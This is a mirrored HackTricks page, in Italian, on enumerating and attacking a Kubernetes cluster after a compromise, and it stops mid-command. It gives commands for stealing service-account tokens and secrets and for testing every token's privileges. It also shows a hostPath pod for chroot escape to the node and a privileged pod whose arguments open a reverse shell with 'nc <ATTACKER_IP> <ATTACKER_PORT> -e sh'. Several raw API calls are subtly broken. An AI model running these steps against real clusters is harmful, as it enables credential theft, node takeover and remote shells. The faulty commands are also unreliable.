mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-01 23:39:52 -08:00
735 lines
25 KiB
Markdown
735 lines
25 KiB
Markdown
# Kubernetes Enumeration
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## Kubernetes Tokens
|
||
|
||
Se hai compromesso l'accesso a una macchina, l'utente potrebbe avere accesso a qualche piattaforma Kubernetes. Il token si trova solitamente in un file indicato dalla **variabile d'ambiente `KUBECONFIG`** o **all'interno di `~/.kube`**.
|
||
|
||
In questa cartella potresti trovare file di configurazione con **token e configurazioni per connettersi al server API**. In questa cartella puoi anche trovare una cartella di cache con informazioni precedentemente recuperate.
|
||
|
||
Se hai compromesso un pod all'interno di un ambiente kubernetes, ci sono altri luoghi dove puoi trovare token e informazioni sull'attuale ambiente K8:
|
||
|
||
### Service Account Tokens
|
||
|
||
Prima di continuare, se non sai cosa sia un servizio in Kubernetes, ti consiglio di **seguire questo link e leggere almeno le informazioni sull'architettura di Kubernetes.**
|
||
|
||
Preso dalla [documentazione](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server) di Kubernetes:
|
||
|
||
_“Quando crei un pod, se non specifichi un service account, viene automaticamente assegnato il_ service account _predefinito nello stesso namespace.”_
|
||
|
||
**ServiceAccount** è un oggetto gestito da Kubernetes e utilizzato per fornire un'identità per i processi che vengono eseguiti in un pod.\
|
||
Ogni service account ha un segreto ad esso correlato e questo segreto contiene un bearer token. Questo è un JSON Web Token (JWT), un metodo per rappresentare in modo sicuro le affermazioni tra due parti.
|
||
|
||
Di solito **uno** delle directory:
|
||
|
||
- `/run/secrets/kubernetes.io/serviceaccount`
|
||
- `/var/run/secrets/kubernetes.io/serviceaccount`
|
||
- `/secrets/kubernetes.io/serviceaccount`
|
||
|
||
contiene i file:
|
||
|
||
- **ca.crt**: È il certificato ca per controllare le comunicazioni di kubernetes
|
||
- **namespace**: Indica l'attuale namespace
|
||
- **token**: Contiene il **token di servizio** dell'attuale pod.
|
||
|
||
Ora che hai il token, puoi trovare il server API all'interno della variabile d'ambiente **`KUBECONFIG`**. Per ulteriori informazioni esegui `(env | set) | grep -i "kuber|kube`**`"`**
|
||
|
||
Il token del service account è firmato dalla chiave presente nel file **sa.key** e convalidato da **sa.pub**.
|
||
|
||
Posizione predefinita su **Kubernetes**:
|
||
|
||
- /etc/kubernetes/pki
|
||
|
||
Posizione predefinita su **Minikube**:
|
||
|
||
- /var/lib/localkube/certs
|
||
|
||
### Hot Pods
|
||
|
||
_**Hot pods sono**_ pods che contengono un token di service account privilegiato. Un token di service account privilegiato è un token che ha il permesso di eseguire compiti privilegiati come elencare segreti, creare pod, ecc.
|
||
|
||
## RBAC
|
||
|
||
Se non sai cosa sia **RBAC**, **leggi questa sezione**.
|
||
|
||
## GUI Applications
|
||
|
||
- **k9s**: Un'interfaccia grafica che enumera un cluster kubernetes dal terminale. Controlla i comandi in [https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/). Scrivi `:namespace` e seleziona tutto per poi cercare risorse in tutti i namespace.
|
||
- **k8slens**: Offre alcuni giorni di prova gratuita: [https://k8slens.dev/](https://k8slens.dev/)
|
||
|
||
## Enumeration CheatSheet
|
||
|
||
Per enumerare un ambiente K8s hai bisogno di un paio di queste:
|
||
|
||
- Un **token di autenticazione valido**. Nella sezione precedente abbiamo visto dove cercare un token utente e un token di service account.
|
||
- L'**indirizzo (**_**https://host:port**_**) dell'API di Kubernetes**. Questo può essere solitamente trovato nelle variabili d'ambiente e/o nel file di configurazione kube.
|
||
- **Opzionale**: Il **ca.crt per verificare il server API**. Questo può essere trovato negli stessi luoghi in cui può essere trovato il token. Questo è utile per verificare il certificato del server API, ma utilizzando `--insecure-skip-tls-verify` con `kubectl` o `-k` con `curl` non avrai bisogno di questo.
|
||
|
||
Con questi dettagli puoi **enumerare kubernetes**. Se l'**API** per qualche motivo è **accessibile** attraverso l'**Internet**, puoi semplicemente scaricare quelle informazioni e enumerare la piattaforma dal tuo host.
|
||
|
||
Tuttavia, di solito il **server API è all'interno di una rete interna**, quindi dovrai **creare un tunnel** attraverso la macchina compromessa per accedervi dalla tua macchina, oppure puoi **caricare il** [**kubectl**](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) binario, o usare **`curl/wget/anything`** per eseguire richieste HTTP raw al server API.
|
||
|
||
### Differences between `list` and `get` verbs
|
||
|
||
Con i permessi **`get`** puoi accedere alle informazioni di asset specifici (_`describe` option in `kubectl`_) API:
|
||
```
|
||
GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}
|
||
```
|
||
Se hai il permesso **`list`**, ti è consentito eseguire richieste API per elencare un tipo di risorsa (_opzione `get` in `kubectl`_):
|
||
```bash
|
||
#In a namespace
|
||
GET /apis/apps/v1/namespaces/{namespace}/deployments
|
||
#In all namespaces
|
||
GET /apis/apps/v1/deployments
|
||
```
|
||
Se hai il permesso **`watch`**, ti è consentito eseguire richieste API per monitorare le risorse:
|
||
```
|
||
GET /apis/apps/v1/deployments?watch=true
|
||
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
|
||
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name} [DEPRECATED]
|
||
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments [DEPRECATED]
|
||
GET /apis/apps/v1/watch/deployments [DEPRECATED]
|
||
```
|
||
Aprono una connessione streaming che ti restituisce il manifesto completo di un Deployment ogni volta che cambia (o quando ne viene creato uno nuovo).
|
||
|
||
> [!CAUTION]
|
||
> I seguenti comandi `kubectl` indicano solo come elencare gli oggetti. Se desideri accedere ai dati, devi usare `describe` invece di `get`
|
||
|
||
### Utilizzando curl
|
||
|
||
Dall'interno di un pod puoi usare diverse variabili d'ambiente:
|
||
```bash
|
||
export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
|
||
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
|
||
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
|
||
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
|
||
export CACERT=${SERVICEACCOUNT}/ca.crt
|
||
alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
|
||
# if kurl is still got cert Error, using -k option to solve this.
|
||
```
|
||
> [!WARNING]
|
||
> Per impostazione predefinita, il pod può **accedere** al **kube-api server** nel nome di dominio **`kubernetes.default.svc`** e puoi vedere la rete kube in **`/etc/resolv.config`** poiché qui troverai l'indirizzo del server DNS di kubernetes (il ".1" dello stesso intervallo è l'endpoint kube-api).
|
||
|
||
### Utilizzando kubectl
|
||
|
||
Avendo il token e l'indirizzo del server API, puoi utilizzare kubectl o curl per accedervi come indicato qui:
|
||
|
||
Per impostazione predefinita, l'APISERVER comunica con lo schema `https://`
|
||
```bash
|
||
alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces
|
||
```
|
||
> se non c'è `https://` nell'url, potresti ricevere un errore come Bad Request.
|
||
|
||
Puoi trovare un [**foglio di riferimento ufficiale di kubectl qui**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/). L'obiettivo delle sezioni seguenti è presentare in modo ordinato diverse opzioni per enumerare e comprendere il nuovo K8s a cui hai ottenuto accesso.
|
||
|
||
Per trovare la richiesta HTTP che `kubectl` invia, puoi usare il parametro `-v=8`
|
||
|
||
#### MitM kubectl - Proxyfying kubectl
|
||
```bash
|
||
# Launch burp
|
||
# Set proxy
|
||
export HTTP_PROXY=http://localhost:8080
|
||
export HTTPS_PROXY=http://localhost:8080
|
||
# Launch kubectl
|
||
kubectl get namespace --insecure-skip-tls-verify=true
|
||
```
|
||
### Configurazione Corrente
|
||
|
||
{{#tabs }}
|
||
{{#tab name="Kubectl" }}
|
||
```bash
|
||
kubectl config get-users
|
||
kubectl config get-contexts
|
||
kubectl config get-clusters
|
||
kubectl config current-context
|
||
|
||
# Change namespace
|
||
kubectl config set-context --current --namespace=<namespace>
|
||
```
|
||
{{#endtab }}
|
||
{{#endtabs }}
|
||
|
||
Se sei riuscito a rubare le credenziali di alcuni utenti, puoi **configurarle localmente** utilizzando qualcosa come:
|
||
```bash
|
||
kubectl config set-credentials USER_NAME \
|
||
--auth-provider=oidc \
|
||
--auth-provider-arg=idp-issuer-url=( issuer url ) \
|
||
--auth-provider-arg=client-id=( your client id ) \
|
||
--auth-provider-arg=client-secret=( your client secret ) \
|
||
--auth-provider-arg=refresh-token=( your refresh token ) \
|
||
--auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \
|
||
--auth-provider-arg=id-token=( your id_token )
|
||
```
|
||
### Ottieni Risorse Supportate
|
||
|
||
Con queste informazioni saprai tutti i servizi che puoi elencare
|
||
|
||
{{#tabs }}
|
||
{{#tab name="kubectl" }}
|
||
```bash
|
||
k api-resources --namespaced=true #Resources specific to a namespace
|
||
k api-resources --namespaced=false #Resources NOT specific to a namespace
|
||
```
|
||
{{#endtab }}
|
||
{{#endtabs }}
|
||
|
||
### Ottieni Privilegi Correnti
|
||
|
||
{{#tabs }}
|
||
{{#tab name="kubectl" }}
|
||
```bash
|
||
k auth can-i --list #Get privileges in general
|
||
k auth can-i --list -n custnamespace #Get privileves in custnamespace
|
||
|
||
# Get service account permissions
|
||
k auth can-i --list --as=system:serviceaccount:<namespace>:<sa_name> -n <namespace>
|
||
```
|
||
{{#endtab }}
|
||
|
||
{{#tab name="API" }}
|
||
```bash
|
||
kurl -i -s -k -X $'POST' \
|
||
-H $'Content-Type: application/json' \
|
||
--data-binary $'{\"kind\":\"SelfSubjectRulesReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"metadata\":{\"creationTimestamp\":null},\"spec\":{\"namespace\":\"default\"},\"status\":{\"resourceRules\":null,\"nonResourceRules\":null,\"incomplete\":false}}\x0a' \
|
||
"https://$APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews"
|
||
```
|
||
{{#endtab }}
|
||
{{#endtabs }}
|
||
|
||
Un altro modo per controllare i tuoi privilegi è utilizzare lo strumento: [**https://github.com/corneliusweig/rakkess**](https://github.com/corneliusweig/rakkess)\*\*\*\*
|
||
|
||
Puoi saperne di più su **Kubernetes RBAC** in:
|
||
|
||
{{#ref}}
|
||
kubernetes-role-based-access-control-rbac.md
|
||
{{#endref}}
|
||
|
||
**Una volta che sai quali privilegi** hai, controlla la seguente pagina per capire **se puoi abusarne** per escalare i privilegi:
|
||
|
||
{{#ref}}
|
||
abusing-roles-clusterroles-in-kubernetes/
|
||
{{#endref}}
|
||
|
||
### Ottieni i ruoli degli altri
|
||
|
||
{{#tabs }}
|
||
{{#tab name="kubectl" }}
|
||
```bash
|
||
k get roles
|
||
k get clusterroles
|
||
```
|
||
{{#endtab }}
|
||
|
||
{{#tab name="API" }}
|
||
```bash
|
||
kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/roles?limit=500"
|
||
kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/clusterroles?limit=500"
|
||
```
|
||
{{#endtab }}
|
||
{{#endtabs }}
|
||
|
||
### Ottieni i namespace
|
||
|
||
Kubernetes supporta **più cluster virtuali** supportati dallo stesso cluster fisico. Questi cluster virtuali sono chiamati **namespace**.
|
||
|
||
{{#tabs }}
|
||
{{#tab name="kubectl" }}
|
||
```bash
|
||
k get namespaces
|
||
```
|
||
{{#endtab }}
|
||
|
||
{{#tab name="API" }}
|
||
```bash
|
||
kurl -k -v https://$APISERVER/api/v1/namespaces/
|
||
```
|
||
{{#endtab }}
|
||
{{#endtabs }}
|
||
|
||
### Ottieni segreti
|
||
|
||
{{#tabs }}
|
||
{{#tab name="kubectl" }}
|
||
```bash
|
||
k get secrets -o yaml
|
||
k get secrets -o yaml -n custnamespace
|
||
```
|
||
{{#endtab }}
|
||
|
||
{{#tab name="API" }}
|
||
```bash
|
||
kurl -v https://$APISERVER/api/v1/namespaces/default/secrets/
|
||
|
||
kurl -v https://$APISERVER/api/v1/namespaces/custnamespace/secrets/
|
||
```
|
||
{{#endtab }}
|
||
{{#endtabs }}
|
||
|
||
Se puoi leggere i segreti, puoi usare le seguenti righe per ottenere i privilegi relativi a ciascun token:
|
||
```bash
|
||
for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done
|
||
```
|
||
### Ottieni gli Account di Servizio
|
||
|
||
Come discusso all'inizio di questa pagina **quando un pod viene eseguito, di solito viene assegnato un account di servizio**. Pertanto, elencare gli account di servizio, le loro autorizzazioni e dove vengono eseguiti può consentire a un utente di elevare i privilegi.
|
||
|
||
{{#tabs }}
|
||
{{#tab name="kubectl" }}
|
||
```bash
|
||
k get serviceaccounts
|
||
```
|
||
{{#endtab }}
|
||
|
||
{{#tab name="API" }}
|
||
```bash
|
||
kurl -k -v https://$APISERVER/api/v1/namespaces/{namespace}/serviceaccounts
|
||
```
|
||
{{#endtab }}
|
||
{{#endtabs }}
|
||
|
||
### Ottieni i Deployments
|
||
|
||
I deployments specificano i **componenti** che devono essere **eseguiti**.
|
||
|
||
{{#tabs }}
|
||
{{#tab name="kubectl" }}
|
||
```bash
|
||
k get deployments
|
||
k get deployments -n custnamespace
|
||
```
|
||
{{#endtab }}
|
||
|
||
{{#tab name="API" }}
|
||
```bash
|
||
kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/deployments/
|
||
```
|
||
{{#endtab }}
|
||
{{#endtabs }}
|
||
|
||
### Ottieni Pods
|
||
|
||
I Pods sono i **contenitori** effettivi che verranno **eseguiti**.
|
||
|
||
{{#tabs }}
|
||
{{#tab name="kubectl" }}
|
||
```bash
|
||
k get pods
|
||
k get pods -n custnamespace
|
||
```
|
||
{{#endtab }}
|
||
|
||
{{#tab name="API" }}
|
||
```bash
|
||
kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/pods/
|
||
```
|
||
{{#endtab }}
|
||
{{#endtabs }}
|
||
|
||
### Ottieni Servizi
|
||
|
||
I **servizi** di Kubernetes vengono utilizzati per **esporre un servizio su una porta e un IP specifici** (che agiranno come bilanciatore di carico per i pod che offrono effettivamente il servizio). È interessante sapere dove puoi trovare altri servizi da provare ad attaccare.
|
||
|
||
{{#tabs }}
|
||
{{#tab name="kubectl" }}
|
||
```bash
|
||
k get services
|
||
k get services -n custnamespace
|
||
```
|
||
{{#endtab }}
|
||
|
||
{{#tab name="API" }}
|
||
```bash
|
||
kurl -v https://$APISERVER/api/v1/namespaces/default/services/
|
||
```
|
||
{{#endtab }}
|
||
{{#endtabs }}
|
||
|
||
### Ottieni nodi
|
||
|
||
Ottieni tutti i **nodi configurati all'interno del cluster**.
|
||
|
||
{{#tabs }}
|
||
{{#tab name="kubectl" }}
|
||
```bash
|
||
k get nodes
|
||
```
|
||
{{#endtab }}
|
||
|
||
{{#tab name="API" }}
|
||
```bash
|
||
kurl -v https://$APISERVER/api/v1/nodes/
|
||
```
|
||
{{#endtab }}
|
||
{{#endtabs }}
|
||
|
||
### Ottieni DaemonSets
|
||
|
||
**DaeamonSets** consente di garantire che un **pod specifico sia in esecuzione in tutti i nodi** del cluster (o in quelli selezionati). Se elimini il DaemonSet, i pod gestiti da esso verranno rimossi.
|
||
|
||
{{#tabs }}
|
||
{{#tab name="kubectl" }}
|
||
```bash
|
||
k get daemonsets
|
||
```
|
||
{{#endtab }}
|
||
|
||
{{#tab name="API" }}
|
||
```bash
|
||
kurl -v https://$APISERVER/apis/extensions/v1beta1/namespaces/default/daemonsets
|
||
```
|
||
{{#endtab }}
|
||
{{#endtabs }}
|
||
|
||
### Ottieni cronjob
|
||
|
||
I cron job consentono di pianificare, utilizzando una sintassi simile a crontab, il lancio di un pod che eseguirà alcune azioni.
|
||
|
||
{{#tabs }}
|
||
{{#tab name="kubectl" }}
|
||
```bash
|
||
k get cronjobs
|
||
```
|
||
{{#endtab }}
|
||
|
||
{{#tab name="API" }}
|
||
```bash
|
||
kurl -v https://$APISERVER/apis/batch/v1beta1/namespaces/<namespace>/cronjobs
|
||
```
|
||
{{#endtab }}
|
||
{{#endtabs }}
|
||
|
||
### Ottieni configMap
|
||
|
||
configMap contiene sempre molte informazioni e file di configurazione che forniscono alle app che girano in kubernetes. Di solito puoi trovare molte password, segreti, token utilizzati per connettersi e convalidare altri servizi interni/esterni.
|
||
|
||
{{#tabs }}
|
||
{{#tab name="kubectl" }}
|
||
```bash
|
||
k get configmaps # -n namespace
|
||
```
|
||
{{#endtab }}
|
||
|
||
{{#tab name="API" }}
|
||
```bash
|
||
kurl -v https://$APISERVER/api/v1/namespaces/${NAMESPACE}/configmaps
|
||
```
|
||
{{#endtab }}
|
||
{{#endtabs }}
|
||
|
||
### Ottieni le Politiche di Rete / Politiche di Rete Cilium
|
||
|
||
{{#tabs }}
|
||
{{#tab name="Primo Tab" }}
|
||
```bash
|
||
k get networkpolicies
|
||
k get CiliumNetworkPolicies
|
||
k get CiliumClusterwideNetworkPolicies
|
||
```
|
||
{{#endtab }}
|
||
{{#endtabs }}
|
||
|
||
### Ottieni Tutto / Tutti
|
||
|
||
{{#tabs }}
|
||
{{#tab name="kubectl" }}
|
||
```bash
|
||
k get all
|
||
```
|
||
{{#endtab }}
|
||
{{#endtabs }}
|
||
|
||
### **Ottieni tutte le risorse gestite da helm**
|
||
|
||
{{#tabs }}
|
||
{{#tab name="kubectl" }}
|
||
```bash
|
||
k get all --all-namespaces -l='app.kubernetes.io/managed-by=Helm'
|
||
```
|
||
{{#endtab }}
|
||
{{#endtabs }}
|
||
|
||
### **Ottieni i consumi dei Pods**
|
||
|
||
{{#tabs }}
|
||
{{#tab name="kubectl" }}
|
||
```bash
|
||
k top pod --all-namespaces
|
||
```
|
||
{{#endtab }}
|
||
{{#endtabs }}
|
||
|
||
## Interagire con il cluster senza usare kubectl
|
||
|
||
Visto che il piano di controllo di Kubernetes espone un'API REST-ful, puoi creare manualmente richieste HTTP e inviarle con altri strumenti, come **curl** o **wget**.
|
||
|
||
### Uscire dal pod
|
||
|
||
Se sei in grado di creare nuovi pod, potresti essere in grado di uscire da essi verso il nodo. Per farlo, devi creare un nuovo pod utilizzando un file yaml, passare al pod creato e poi chroot nel sistema del nodo. Puoi usare pod già esistenti come riferimento per il file yaml poiché mostrano immagini e percorsi esistenti.
|
||
```bash
|
||
kubectl get pod <name> [-n <namespace>] -o yaml
|
||
```
|
||
> se hai bisogno di creare un pod su un nodo specifico, puoi usare il seguente comando per ottenere le etichette sul nodo
|
||
>
|
||
> `k get nodes --show-labels`
|
||
>
|
||
> Comunemente, kubernetes.io/hostname e node-role.kubernetes.io/master sono tutte buone etichette per la selezione.
|
||
|
||
Poi crei il tuo file attack.yaml
|
||
```yaml
|
||
apiVersion: v1
|
||
kind: Pod
|
||
metadata:
|
||
labels:
|
||
run: attacker-pod
|
||
name: attacker-pod
|
||
namespace: default
|
||
spec:
|
||
volumes:
|
||
- name: host-fs
|
||
hostPath:
|
||
path: /
|
||
containers:
|
||
- image: ubuntu
|
||
imagePullPolicy: Always
|
||
name: attacker-pod
|
||
command: ["/bin/sh", "-c", "sleep infinity"]
|
||
volumeMounts:
|
||
- name: host-fs
|
||
mountPath: /root
|
||
restartPolicy: Never
|
||
# nodeName and nodeSelector enable one of them when you need to create pod on the specific node
|
||
#nodeName: master
|
||
#nodeSelector:
|
||
# kubernetes.io/hostname: master
|
||
# or using
|
||
# node-role.kubernetes.io/master: ""
|
||
```
|
||
Dopo aver creato il pod
|
||
```bash
|
||
kubectl apply -f attacker.yaml [-n <namespace>]
|
||
```
|
||
Ora puoi passare al pod creato come segue
|
||
```bash
|
||
kubectl exec -it attacker-pod [-n <namespace>] -- sh # attacker-pod is the name defined in the yaml file
|
||
```
|
||
E infine esegui il chroot nel sistema del nodo.
|
||
```bash
|
||
chroot /root /bin/bash
|
||
```
|
||
Informazioni ottenute da: [Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216) [Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1](https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/)
|
||
|
||
### Creazione di un pod privilegiato
|
||
|
||
Il file yaml corrispondente è il seguente:
|
||
```yaml
|
||
apiVersion: v1
|
||
kind: Pod
|
||
metadata:
|
||
name: everything-allowed-exec-pod
|
||
labels:
|
||
app: pentest
|
||
spec:
|
||
hostNetwork: true
|
||
hostPID: true
|
||
hostIPC: true
|
||
containers:
|
||
- name: everything-allowed-pod
|
||
image: alpine
|
||
securityContext:
|
||
privileged: true
|
||
volumeMounts:
|
||
- mountPath: /host
|
||
name: noderoot
|
||
command: [ "/bin/sh", "-c", "--" ]
|
||
args: [ "nc <ATTACKER_IP> <ATTACKER_PORT> -e sh" ]
|
||
#nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name
|
||
volumes:
|
||
- name: noderoot
|
||
hostPath:
|
||
path: /
|
||
```
|
||
Crea il pod con curl:
|
||
```bash
|
||
CONTROL_PLANE_HOST=""
|
||
TOKEN=""
|
||
|
||
curl --path-as-is -i -s -k -X $'POST' \
|
||
-H "Host: $CONTROL_PLANE_HOST" \
|
||
-H "Authorization: Bearer $TOKEN" \
|
||
-H $'Accept: application/json' \
|
||
-H $'Content-Type: application/json' \
|
||
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
|
||
-H $'Content-Length: 478' \
|
||
-H $'Accept-Encoding: gzip, deflate, br' \
|
||
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"labels\":{\"app\":\"pentest\"},\"name\":\"everything-allowed-exec-pod\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"args\":[\"nc <ATTACKER_IP> <ATTACKER_PORT> -e sh\"],\"command\":[\"/bin/sh\",\"-c\",\"--\"],\"image\":\"alpine\",\"name\":\"everything-allowed-pod\",\"securityContext\":{\"privileged\":true},\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"noderoot\"}]}],\"hostIPC\":true,\"hostNetwork\":true,\"hostPID\":true,\"volumes\":[{\"hostPath\":{\"path\":\"/\"},\"name\":\"noderoot\"}]}}\x0a' \
|
||
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
|
||
```
|
||
### Elimina un pod
|
||
|
||
Elimina un pod con curl:
|
||
```bash
|
||
CONTROL_PLANE_HOST=""
|
||
TOKEN=""
|
||
POD_NAME="everything-allowed-exec-pod"
|
||
|
||
curl --path-as-is -i -s -k -X $'DELETE' \
|
||
-H "Host: $CONTROL_PLANE_HOST" \
|
||
-H "Authorization: Bearer $TOKEN" \
|
||
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
|
||
-H $'Accept: application/json' \
|
||
-H $'Content-Type: application/json' \
|
||
-H $'Content-Length: 35' \
|
||
-H $'Accept-Encoding: gzip, deflate, br' \
|
||
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
|
||
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods/$POD_NAME"
|
||
```
|
||
### Crea un Account di Servizio
|
||
```bash
|
||
CONTROL_PLANE_HOST=""
|
||
TOKEN=""
|
||
NAMESPACE="default"
|
||
|
||
|
||
curl --path-as-is -i -s -k -X $'POST' \
|
||
-H "Host: $CONTROL_PLANE_HOST" \
|
||
-H "Authorization: Bearer $TOKEN" \
|
||
-H $'Content-Type: application/json' \
|
||
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
|
||
-H $'Accept: application/json' \
|
||
-H $'Content-Length: 109' \
|
||
-H $'Accept-Encoding: gzip, deflate, br' \
|
||
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"ServiceAccount\",\"metadata\":{\"name\":\"secrets-manager-sa-2\",\"namespace\":\"default\"}}\x0a' \
|
||
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
|
||
```
|
||
### Elimina un Account di Servizio
|
||
```bash
|
||
CONTROL_PLANE_HOST=""
|
||
TOKEN=""
|
||
SA_NAME=""
|
||
NAMESPACE="default"
|
||
|
||
curl --path-as-is -i -s -k -X $'DELETE' \
|
||
-H "Host: $CONTROL_PLANE_HOST" \
|
||
-H "Authorization: Bearer $TOKEN" \
|
||
-H $'Accept: application/json' \
|
||
-H $'Content-Type: application/json' \
|
||
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
|
||
-H $'Content-Length: 35' -H $'Accept-Encoding: gzip, deflate, br' \
|
||
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
|
||
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts/$SA_NAME"
|
||
```
|
||
### Crea un Ruolo
|
||
```bash
|
||
CONTROL_PLANE_HOST=""
|
||
TOKEN=""
|
||
NAMESPACE="default"
|
||
|
||
|
||
curl --path-as-is -i -s -k -X $'POST' \
|
||
-H "Host: $CONTROL_PLANE_HOST" \
|
||
-H "Authorization: Bearer $TOKEN" \
|
||
-H $'Content-Type: application/json' \
|
||
-H $'Accept: application/json' \
|
||
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
|
||
-H $'Content-Length: 203' \
|
||
-H $'Accept-Encoding: gzip, deflate, br' \
|
||
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"Role\",\"metadata\":{\"name\":\"secrets-manager-role\",\"namespace\":\"default\"},\"rules\":[{\"apiGroups\":[\"\"],\"resources\":[\"secrets\"],\"verbs\":[\"get\",\"create\"]}]}\x0a' \
|
||
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
|
||
```
|
||
### Elimina un Ruolo
|
||
```bash
|
||
CONTROL_PLANE_HOST=""
|
||
TOKEN=""
|
||
NAMESPACE="default"
|
||
ROLE_NAME=""
|
||
|
||
curl --path-as-is -i -s -k -X $'DELETE' \
|
||
-H "Host: $CONTROL_PLANE_HOST" \
|
||
-H "Authorization: Bearer $TOKEN" \
|
||
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
|
||
-H $'Accept: application/json' \
|
||
-H $'Content-Type: application/json' \
|
||
-H $'Content-Length: 35' \
|
||
-H $'Accept-Encoding: gzip, deflate, br' \
|
||
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
|
||
"https://$$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles/$ROLE_NAME"
|
||
```
|
||
### Crea un Binding di Ruolo
|
||
```bash
|
||
CONTROL_PLANE_HOST=""
|
||
TOKEN=""
|
||
NAMESPACE="default"
|
||
|
||
curl --path-as-is -i -s -k -X $'POST' \
|
||
-H "Host: $CONTROL_PLANE_HOST" \
|
||
-H "Authorization: Bearer $TOKEN" \
|
||
-H $'Accept: application/json' \
|
||
-H $'Content-Type: application/json' \
|
||
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
|
||
-H $'Content-Length: 816' \
|
||
-H $'Accept-Encoding: gzip, deflate, br' \
|
||
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"RoleBinding\",\"metadata\":{\"name\":\"secrets-manager-role-binding\",\"namespace\":\"default\"},\"roleRef\":{\"apiGroup\":\"rbac.authorization.k8s.io\",\"kind\":\"Role\",\"name\":\"secrets-manager-role\"},\"subjects\":[{\"apiGroup\":\"\",\"kind\":\"ServiceAccount\",\"name\":\"secrets-manager-sa\",\"namespace\":\"default\"}]}\x0a' \
|
||
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/$NAMESPACE/default/rolebindings?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
|
||
```
|
||
### Elimina un Binding di Ruolo
|
||
```bash
|
||
CONTROL_PLANE_HOST=""
|
||
TOKEN=""
|
||
NAMESPACE="default"
|
||
ROLE_BINDING_NAME=""
|
||
|
||
curl --path-as-is -i -s -k -X $'DELETE' \
|
||
-H "Host: $CONTROL_PLANE_HOST" \
|
||
-H "Authorization: Bearer $TOKEN" \
|
||
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
|
||
-H $'Accept: application/json' \
|
||
-H $'Content-Type: application/json' \
|
||
-H $'Content-Length: 35' \
|
||
-H $'Accept-Encoding: gzip, deflate, br' \
|
||
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
|
||
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/rolebindings/$ROLE_BINDING_NAME"
|
||
```
|
||
### Elimina un Segreto
|
||
```bash
|
||
CONTROL_PLANE_HOST=""
|
||
TOKEN=""
|
||
NAMESPACE="default"
|
||
|
||
curl --path-as-is -i -s -k -X $'POST' \
|
||
-H "Host: $CONTROL_PLANE_HOST" \
|
||
-H "Authorization: Bearer $TOKEN" \
|
||
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
|
||
-H $'Accept: application/json' \
|
||
-H $'Content-Type: application/json' \
